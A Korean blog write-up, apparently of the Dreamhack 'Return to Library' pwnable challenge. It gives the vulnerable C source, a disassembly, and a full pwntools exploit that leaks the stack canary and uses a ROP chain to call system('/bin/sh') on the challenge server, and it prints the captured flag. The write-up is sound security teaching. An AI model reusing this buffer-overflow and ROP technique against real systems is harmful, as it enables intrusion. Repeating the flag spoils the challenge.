Pwnable

[Dreamhack] Return to Library Write-up

의성마늘햄 2023. 9. 25. 13:18

Canary와 NX 보호 기법이 걸려있다.
 
 

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

read함수로 buf - canary 거리 + 1 만큼 입력을 주어 canary 앞 '\x00'를 제거하면 printf 함수로 카나리를 출력하게 할 수 있다.
read 함수로 buf에 0x30보다 훨씬 큰 0x100 크기의 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능하다.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006f7 <+0>:	push   rbp
   0x00000000004006f8 <+1>:	mov    rbp,rsp
   0x00000000004006fb <+4>:	sub    rsp,0x40
   0x00000000004006ff <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:	xor    eax,eax
   0x000000000040070e <+23>:	mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:	mov    ecx,0x0
   0x000000000040071a <+35>:	mov    edx,0x2
   0x000000000040071f <+40>:	mov    esi,0x0
   0x0000000000400724 <+45>:	mov    rdi,rax
   0x0000000000400727 <+48>:	call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:	mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:	mov    ecx,0x0
   0x0000000000400738 <+65>:	mov    edx,0x2
   0x000000000040073d <+70>:	mov    esi,0x0
   0x0000000000400742 <+75>:	mov    rdi,rax
   0x0000000000400745 <+78>:	call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:	mov    edi,0x40087c
   0x000000000040074f <+88>:	mov    eax,0x0
   0x0000000000400754 <+93>:	call   0x4005d0 <system@plt>
   0x0000000000400759 <+98>:	mov    edi,0x40088d
   0x000000000040075e <+103>:	call   0x4005b0 <puts@plt>
   0x0000000000400763 <+108>:	mov    edi,0x40089d
   0x0000000000400768 <+113>:	mov    eax,0x0
   0x000000000040076d <+118>:	call   0x4005e0 <printf@plt>
   0x0000000000400772 <+123>:	lea    rax,[rbp-0x40]
   0x0000000000400776 <+127>:	mov    edx,0x100
   0x000000000040077b <+132>:	mov    rsi,rax
   0x000000000040077e <+135>:	mov    edi,0x0
   0x0000000000400783 <+140>:	call   0x4005f0 <read@plt>
   0x0000000000400788 <+145>:	lea    rax,[rbp-0x40]
   0x000000000040078c <+149>:	mov    rsi,rax
   0x000000000040078f <+152>:	mov    edi,0x4008a3
   0x0000000000400794 <+157>:	mov    eax,0x0
   0x0000000000400799 <+162>:	call   0x4005e0 <printf@plt>
   0x000000000040079e <+167>:	mov    edi,0x4008ac
   0x00000000004007a3 <+172>:	call   0x4005b0 <puts@plt>
   0x00000000004007a8 <+177>:	mov    edi,0x40089d
   0x00000000004007ad <+182>:	mov    eax,0x0
   0x00000000004007b2 <+187>:	call   0x4005e0 <printf@plt>
   0x00000000004007b7 <+192>:	lea    rax,[rbp-0x40]
   0x00000000004007bb <+196>:	mov    edx,0x100
   0x00000000004007c0 <+201>:	mov    rsi,rax
   0x00000000004007c3 <+204>:	mov    edi,0x0
   0x00000000004007c8 <+209>:	call   0x4005f0 <read@plt>
   0x00000000004007cd <+214>:	mov    eax,0x0
   0x00000000004007d2 <+219>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d6 <+223>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007df <+232>:	je     0x4007e6 <main+239>
   0x00000000004007e1 <+234>:	call   0x4005c0 <__stack_chk_fail@plt>
   0x00000000004007e6 <+239>:	leave  
   0x00000000004007e7 <+240>:	ret    
End of assembler dump.



0x0000000000400772 <+123>:   lea    rax,[rbp-0x40]	// rax = buf
0x0000000000400776 <+127>:   mov    edx,0x100	// edx = 0x100
0x000000000040077b <+132>:   mov    rsi,rax	// rsi = buf
0x000000000040077e <+135>:   mov    edi,0x0	// edi = 0x0
0x0000000000400783 <+140>:   call   0x4005f0 <read@plt>	// read(0, buf, 0x100)
0x0000000000400788 <+145>:   lea    rax,[rbp-0x40]	// rax = buf
0x000000000040078c <+149>:   mov    rsi,rax	// rsi = buf
0x000000000040078f <+152>:   mov    edi,0x4008a3	// "Buf: %s\n"
0x0000000000400794 <+157>:   mov    eax,0x0	// eax = 0
0x0000000000400799 <+162>:   call   0x4005e0 <printf@plt>	// printf("Buf: %s\n", buf)

 
위에서 유의미한 결과를 추려 주석을 달아주었다.
 

 
 
위 gdb 분석 결과를 토대로 메모리 구조를 그려보았다.

 
buf - RBP 까지의 거리는 56 이기 때문에, 'A'를 57개 입력하면 카나리 앞의 '\x00'가 제거되어서 카나리 릭을 할 수 있다.

from pwn import *
import warnings

warnings.filterwarnings("ignore")

def log(a, b):
    return success(f"{a}: {hex(b)}")


p = remote("host3.dreamhack.games", 9435)
e = ELF("./rtl")
r = ROP(e)

p.recvuntil("Buf: ")
leak_payload = b"\x90"*56 + b"A"
p.send(leak_payload)
p.recvuntil("A")
canary = u64(b'\x00' + p.recvn(7))
log("canary",canary)


system_plt = e.plt['system']
bin_sh = next(e.search(b'/bin/sh'))


ret = r.find_gadget(['ret'])[0]
pop_rdi_ret = r.find_gadget(['pop rdi'])[0]


payload = b"\x90"*56+p64(canary)
payload += b"\x90"*8+p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_plt)
p.recvuntil("Buf: ")
p.send(payload)
p.interactive()

leak_payload로 56바이트의 노필터 바이트(NOP)와 "A"로 채워진 초기 페이로드를 구성한 다음, 
payload에 최종적인 페이로드를 구성한다. 초기 노필터 바이트, canary 값을 포함하고 ret 가젯을 호출하여 스택을 정리한다. 그런 다음 pop_rdi_ret 가젯을 사용하여 "/bin/sh" 문자열을 system 함수의 인자로 넣고, system 함수를 호출한다.
 
익스플로잇을 실행시켜주면!!
 
 

FLAG is DH{13e0d0ddf0c71c0ac4410687c11e6b00}